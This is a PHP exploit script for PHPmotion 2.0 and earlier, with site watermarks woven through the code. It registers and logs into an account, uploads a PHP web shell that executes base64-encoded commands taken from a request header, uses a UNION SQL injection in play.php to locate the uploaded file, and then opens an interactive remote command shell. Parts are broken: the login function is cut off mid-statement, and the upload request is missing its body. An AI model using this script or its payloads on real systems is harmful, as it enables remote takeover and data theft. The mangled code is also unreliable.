PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit

<?php

/*
 -----------------------------------------------------------------
 PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit
 -----------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://www.phpmotion.com/
 details..: don't works on windows platforms due to $_FILES['ufile']['tmp_name'] is stripslashed 网管联盟bitsCN@com

 [-] vulnerable code in /update_profile.php
 
 255.     // START OF FILE UPLOAD AND SECURITY CHECK
 256.     $limit_size = $config['maximum_size'];//you can change this to a higher file size limit (this is in bytes = 2MB apprx)
 257.     $random = randomcode();//create random number
 258.     $uniquename1 = $random . $_FILES['ufile']['name'];//add random number to file name to create unique file
 259.     $uniquename = mysql_real_escape_string($uniquename1);
 260.     $path = installation_paths();
 261.     $path = $path . "/pictures/" . $uniquename;
 262. 
 263.     if ($_FILES) {
 264.         // Store upload file size in $file_size
 265.         $file_size = $_FILES['ufile']['size'];

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5); 网管u家u.bitscn@com

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
} 网管下载dl.bitscn.com

// yes, SQL injection vulnerable too!
function retrive_data($field, $table, $clause)
{
 global $host, $path;
 
 $sql = "-1/**/UNION/**/SELECT/**/".str_repeat("1,",16)."{$field},".encodeSQL("yes").",1,1,1/**/FROM/**/{$table}/**/WHERE/**/{$clause}%23"; 网管网www_bitscn_com

 $packet  = "GET {$path}play.php?vid={$sql} HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "Connection: close\r\n\r\n";

网管bitscn_com

 preg_match("/play.php\?vid=(.*)\"/", http_send($host, $packet), $match);
 return $match[1];
}

网管联盟bitsCN@com

function encodeSQL($sql)
{
 for ($i = 0, $n = strlen($sql); $i < $n; $i++) $encoded .= dechex(ord($sql[$i]));
 return "CONCAT(0x{$encoded})";
} 网管网www.bitscn.com

function upload()
{
 global $host, $path, $sid, $username; 网管网www_bitscn_com

 login();
 
 print "[-] Trying to upload a shell...\n";
 
 $payload  = "--o0oOo0o\r\n";
 $payload .= "Content-Disposition: form-data; name=\"submitted_pic\"\r\n\r\nyes\r\n";
 $payload .= "--o0oOo0o\r\n";
 $payload .= "Content-Disposition: form-data; name=\"ufile\"; filename=\".php\"\r\n";
 $payload .= "Content-Type: image/jpeg\r\n\r\n";
 $payload .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n";
 $payload .= "--o0oOo0o--\r\n";
 
 $packet  = "POST {$path}update_profile.php HTTP/1.0\r\n";
 $packet .= "Host: {$host}\r\n";
 $packet .= "Cookie: PHPSESSID={$sid}\r\n";
 $packet .= "Content-Length: ".strlen($payload)."\r\n";

网管bitscn_com

 http_send($host, $packet);
 
 $user_id = (int) retrive_data("user_id", "member_profile", "user_name=".encodeSQL($username));
 $file_name = retrive_data("file_name", "pictures", "user_id={$user_id}");
 
 if (!isset($file_name)) die("\n[-] Upload failed...\n");
 else return $file_name;
}

function login()
{
 global $host, $path, $username, $password, $sid;
 
 print "\n[-] Logging in with username '{$username}' and password '{$password}'\n";
 
 $data = "user_name_login={$username}&password_login={$password}&submitted=yes";
 $packet = "POST {$path}login.php HTTP/1.0\r\n";
 $packet.= "Host: {$host}\r\n";
 $packet.= "Content-Length: ".strlen($data)."\r\n";
 $packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet.= "Connection: close\r\n\r\n";
 $packet.= $data;
 $html = http_send($host, $packet);
 
 preg_match("/PHPSESSID=([0-9a-f]{32})/i", $html, $match);
 $sid = $match[1];
 
 if (!preg_match("/Location: myaccount.php/i", $html))
 {

网管下载dl.bitscn.com

function register()
{
 global $host, $path, $username, $password;
 
 print "\n[-] Registering new user '{$username}' with password '{$password}'\n";
 
 // register a new account
 $data = "user_name={$username}";
 $data  .= "&password={$password}";
 $data  .= "&confirm_password={$password}";
 $data  .= "&email_address=".md5(time())."@null.com";
 $data  .= "&form_submitted=yes";
 $data  .= "&terms=yes";
 $packet = "POST {$path}register.php HTTP/1.0\r\n";
 $packet.= "Host: {$host}\r\n";
 $packet.= "Content-Length: ".strlen($data)."\r\n";
 $packet.= "Content-Type: application/x-www-form-urlencoded\r\n";
 $packet.= "Connection: close\r\n\r\n"; 网管联盟bitsCN_com
 $packet.= $data;
 
 http_send($host, $packet);
 
 $code = retrive_data("random_code", "member_profile", "user_name=".encodeSQL($username));
 if (!isset($code)) die("\n[-] Registration failed...\n");
 
 // and confirm the registration
 $packet = "GET {$path}confirm.php?id={$code} HTTP/1.0\r\n";
 $packet.= "Host: {$host}\r\n";
 $packet.= "Connection: close\r\n\r\n";
 
 if (!preg_match("/registration is now complete/i", http_send($host, $packet))) die("\n[-] Registration failed...\n");
}

print "\n+---------------------------------------------------------------------------+";
print "\n| PHPmotion <= 2.0 (update_profile.php) Remote Shell Upload Exploit by EgiX |";
print "\n+---------------------------------------------------------------------------+\n"; 网管联盟bitsCN@com

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path\n";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /phpmotion/\n";
 die();
} 网管网www_bitscn_com

$host = $argv[1];
$path = $argv[2]; 网管u家u.bitsCN.com

$username = "pr00f_0f";
$password = "_c0nc3pt";

网管联盟bitsCN@com

$r_path = "pictures/".upload(); 中国网管论坛bbs.bitsCN.com

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
 print "\nphpmotion-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}{$r_path} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $output = http_send($host, $packet);
  if (!preg_match("/_code_/", $output)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $output);
  print "\n{$shell[1]}";
 }
 else break;
}

中国网管联盟bitsCN.com

?> 网管网www_bitscn_com